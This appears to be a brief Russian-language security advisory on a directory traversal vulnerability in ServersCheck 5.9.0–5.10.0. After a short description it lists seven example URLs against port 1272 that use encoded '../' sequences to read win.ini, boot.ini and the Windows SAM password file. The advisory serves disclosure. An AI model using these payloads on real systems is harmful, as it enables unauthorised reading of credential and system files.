Программа: ServersCheck 5.9.0 — 5.10.0

Уязвимость позволяет удаленному
авторизованному пользователю просмотреть
произвольные файлы на системе. Удаленный
авторизованный пользователь может с
помощью специально сформированного URL
просмотреть произвольные файлы на системе.
П

ример:

http://[target]:1272/%2E%2E/%2E%2E/%2E%2E/ %2E%2E/%2E%2E/windows/win.ini
http://[target]:1272/%2f..%2f..%2f..%2f..%2f..%2f ..%2f..%2f..%2f..%2f../boo
t.ini
http://[target]:1272/..%2F..%2F..%2F..%2F..%2F ../windows/repair/sam
http://[target]:1272/…/…/…/…/…/…/…/…/…/boot.ini
http://[target]:1272/../../ ../../../../../../../boot.ini
http://[target]:1272/../../../../../../../../boot.ini
http://[target]:1272/../../../../boot.ini



Оставить мнение